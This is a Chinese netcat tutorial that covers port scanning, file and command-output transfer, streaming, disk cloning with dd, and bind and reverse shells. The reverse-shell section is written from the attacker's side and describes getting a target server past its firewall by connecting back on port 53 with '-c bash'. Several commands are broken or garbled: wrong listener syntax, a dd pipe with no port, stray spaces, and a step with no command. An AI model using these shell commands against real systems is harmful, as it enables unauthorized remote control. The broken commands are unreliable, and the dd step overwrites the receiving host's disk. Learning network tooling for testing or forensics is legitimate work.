软件准备:
windows访问:netcat 1.11 for Win32/Win64 下载
linux:apt install netcat
命令格式: nc [-参数] [主机名称] [端口]
参数:nc -h
-c <shell 命令> -e 使用/bin/sh 使用
-g <网关> 设置路由器跃程通信 网关,最多设置8个
-G 设置源路由指向器 4.8.12 (为4的倍数)
-h 使用帮助
-i 发送线路、扫描端口的延迟时间间隔
-k 选择保存连接套接字
-l 监听模式,用于管理传入的文件
-n 只使用ip地址,不使用dns(域名服务器)
-o 指定文件名称,把交互传输的数据以16进制保存
-p 设置本地端口
-r 随机化主机和远程主机的端口
-s 设置发出数据包的主机ip地址
-t 以IELNET的方式应答入站请求
-u 使用UDP传输协议
-v 显示工具指令执行过程(两个v可以获得更详细的内容
-w 设置等待连线的时间
-z 使用零 输入/输出模式 扫描端口时使用
netcat使用
0x01 扫描指定主机端口段的端口开放情况
nc -v -z ip地址 20-1024
0x02 扫描指定主机的某端UDP端口信息
nc -v -z -u ip地址 20-1024
0x03 扫描指定主机的端口信息, 设置超时时间为3秒
nc -v -z -w 3 ip地址 20-30
0x04 监听本地端口将信息存放到指定文件(确保不会端口冲突)
0x05 Telent/Banner
nc -vn ip地址 110
0x06 传递文本信息
A主机 (发送字母) nc -l -p 6666
B主机 (发送数字) nc -nv 172.16.71.128 6666
这种关系 电子取证的时候可以用 ,当机器被攻击后 为了不破坏现场,需要提出大量的信息和文件出来做分析就可以使用nc的这个机制 例如需要一个命令的输出信息,首先监听一台机器的一个端口,然后被攻击的机器是执行相关的命令,以管道给nc,指定另一台的地址和端口,结果就回输出到另一端
A 主机 nc -l -p 6666
B 主机 ls -l | nc -nv 172.16.71.130 6666
如果输出内容过多,则可以将内容定向输出的文件中
A 主机 nc -l -p 6666 > ps.txt
B 主机 ps -aux | nc - nv 172.16.71.130 6666
0x07 传输文件和目录<正向>
首先用一台机器监听一个端口,如果有人连接并传来信息时,将信息使用 > 重定向到文件 另一台机器连接目标指定端然后通过 < 输出要传送文件即可
A 主机 nc -lp 6666 > 1.jpg
B 主机 nc -nv 172.16.71.130 6666 < 1.jpg
反向传输,这个理解一下,因为我和经常用到的正反方向shell 原理一样,原先是我打开端口,等待别人连我,给我传文件,现在是我打开指定端口把文件准备好,等待别人连我,我把文件给他 ,这里着重理解两个重定向符号 < 和 > > 是将文件进行输出, < 是将文件进行输入
A主机 nc -q 1 -lp 6666 < 1.jpg
B主机 nc -nv 172.16.71.130 6666 > 1jpg
0x08 :流媒体服务
流媒体类似直播,就是对方把视频通过流的方式进行传输,传输多少,对方会实时播放视频
首先,需要在要传输的文件的机器通过管道(指定的端口)给nc 然后监听一个端口,在接收端,连接端口然后通过管道给 mplayer 进行实时播放,mplayer 默认不安装,需要手动安装(自行百度,其中 vo 参数是选择驱动程序,cache 是每秒要接收的播放帧
A 主机 nc -nv 172.16.71.137 6666 | mplayer -vo x11 -cache 30 -
B 主机 cat 1.mp4 | nc -lp 172.16.71.137 6666
0x09: 远程可隆硬盘
对于远程硬盘,在远程电子取证可以用,使用方法需要借助dd 命令 ,首先通过nc 监听一个端口,然后监听一个端口,然后通过 dd 指定要克隆的分区,dd的of 参数相等于一个复制功能,然后再另一台机器通过 nc 连接此端口,dd 的 if 参数相当于粘贴的命令,命令如下:(注:不方便演示)
A 主机 nc -lp 6666 | dd of=/dev/sda
B dd if=/dev/sda | nc -nv 172.16.71.130 -q 1
0x010: 远程控制 / 正反向 shell
原理与传输信息和传输文件是一样的,只不过传输的是bash,windows 系统的cmd ,正向是目标机器主动指定 bash ,然后通过别人连接自己的端口,别人连接自己,执行的命令的就是自己的机器
A 主机 nc -lp 6666 -c bash/cmd (linux 或windows)
B 主机 nc 172.16.71.129 6666
通常情况,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某个端口,只有某些指定端口可能会允许访问,例如web服务的80端口,这时正向都shell 就不起作用了,防火墙一般都会禁止外在机器来连接自己的其他端口,单自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向shell 也就是攻击者指定一个端口 和 bash ,让目标服务器来连接自己,这样就可以写一个脚本访问外在的一些端口,这种情况很少见,这时可以指定常见的端口,例如服务器要使用 dns 服务的 53 端口的,这时候自己的就可以监听 53 让目标服务器来连接自己
A 主机 : nc -nv 172.16.71.129 53 -c bash
B 主机:nc -lp 53
0x11: 搭建一个蜜罐(命令入下:注不方便演示)
nc -k -lvp 8888 > mg.txt